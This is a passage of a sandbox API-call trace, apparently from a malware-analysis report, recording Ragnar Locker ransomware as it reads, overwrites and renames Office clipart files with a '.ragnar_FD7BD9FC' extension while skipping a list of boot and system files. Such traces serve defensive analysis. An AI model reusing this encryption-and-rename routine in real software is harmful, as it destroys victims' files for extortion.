lpString2="bootfont.bin") returned 1 [0086.216] lstrcmpiW (lpString1="J0228823.WMF", lpString2="bootsect.bak") returned 1 [0086.216] lstrcmpiW (lpString1="J0228823.WMF", lpString2="bootmgr") returned 1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="bootmgr.efi") returned 1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="bootmgfw.efi") returned 1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="desktop.ini") returned 1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="iconcache.db") returned 1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="ntldr") returned -1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="ntuser.dat") returned -1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="ntuser.dat.log") returned -1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="ntuser.ini") returned -1 [0086.217] lstrcmpiW (lpString1="J0228823.WMF", lpString2="thumbs.db") returned -1 [0086.217] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.217] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.217] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.217] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.217] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.217] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.217] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf")) returned 0x20 [0086.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.217] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26022) returned 1 [0086.218] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x659d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.218] GetProcessHeap () returned 0x580000 [0086.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.218] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.219] VirtualAlloc (lpAddress=0x0, dwSize=0x65a6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.219] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x65a6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x65a6, lpOverlapped=0x0) returned 1 [0086.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.221] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x65a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.221] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x65a6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x65a6, lpOverlapped=0x0) returned 1 [0086.221] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x65a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.221] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x65a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.222] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.222] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.222] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.222] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.222] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.222] GetProcessHeap () returned 0x580000 [0086.222] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.222] CloseHandle (hObject=0xf4) returned 1 [0086.222] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" [0086.222] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.ragnar_FD7BD9FC" [0086.222] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.223] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0086.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.223] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0228959.WMF" | out: lpString1="J0228959.WMF") returned="J0228959.WMF" [0086.223] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned=".WMF" [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="autorun.inf") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="boot.ini") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="bootfont.bin") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="bootsect.bak") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="bootmgr") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="bootmgr.efi") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="bootmgfw.efi") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="desktop.ini") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="iconcache.db") returned 1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="ntldr") returned -1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="ntuser.dat") returned -1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="ntuser.dat.log") returned -1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="ntuser.ini") returned -1 [0086.223] lstrcmpiW (lpString1="J0228959.WMF", lpString2="thumbs.db") returned -1 [0086.223] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.223] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.223] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.223] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.223] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.223] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.223] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf")) returned 0x20 [0086.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.224] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=37260) returned 1 [0086.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9183, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.224] GetProcessHeap () returned 0x580000 [0086.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.225] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.226] VirtualAlloc (lpAddress=0x0, dwSize=0x918c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.226] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x918c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x918c, lpOverlapped=0x0) returned 1 [0086.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x918c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.228] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x918c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x918c, lpOverlapped=0x0) returned 1 [0086.228] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x918c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.228] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.229] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x918c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.229] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.229] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.230] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.230] GetProcessHeap () returned 0x580000 [0086.230] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.230] CloseHandle (hObject=0xf4) returned 1 [0086.230] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" [0086.230] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.ragnar_FD7BD9FC" [0086.230] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.230] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0086.230] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.230] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0230553.WMF" | out: lpString1="J0230553.WMF") returned="J0230553.WMF" [0086.230] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned=".WMF" [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="autorun.inf") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="boot.ini") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="bootfont.bin") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="bootsect.bak") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="bootmgr") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="bootmgr.efi") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="bootmgfw.efi") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="desktop.ini") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="iconcache.db") returned 1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="ntldr") returned -1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="ntuser.dat") returned -1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="ntuser.dat.log") returned -1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="ntuser.ini") returned -1 [0086.231] lstrcmpiW (lpString1="J0230553.WMF", lpString2="thumbs.db") returned -1 [0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.231] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf")) returned 0x20 [0086.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.232] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7594) returned 1 [0086.232] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1da1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.232] GetProcessHeap () returned 0x580000 [0086.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.232] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.234] VirtualAlloc (lpAddress=0x0, dwSize=0x1daa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.234] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1daa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1daa, lpOverlapped=0x0) returned 1 [0086.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.235] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1daa, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.235] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1daa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1daa, lpOverlapped=0x0) returned 1 [0086.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1daa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.235] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1daa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.235] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.236] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.236] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.236] GetProcessHeap () returned 0x580000 [0086.236] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.236] CloseHandle (hObject=0xf4) returned 1 [0086.236] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" [0086.236] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.ragnar_FD7BD9FC" [0086.236] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.236] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0086.237] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.237] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0230558.WMF" | out: lpString1="J0230558.WMF") returned="J0230558.WMF" [0086.237] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned=".WMF" [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="autorun.inf") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="boot.ini") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="bootfont.bin") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="bootsect.bak") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="bootmgr") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="bootmgr.efi") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="bootmgfw.efi") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="desktop.ini") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="iconcache.db") returned 1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="ntldr") returned -1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="ntuser.dat") returned -1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="ntuser.dat.log") returned -1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="ntuser.ini") returned -1 [0086.237] lstrcmpiW (lpString1="J0230558.WMF", lpString2="thumbs.db") returned -1 [0086.237] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.237] lstrcmpiW (lpString1=".WMF", 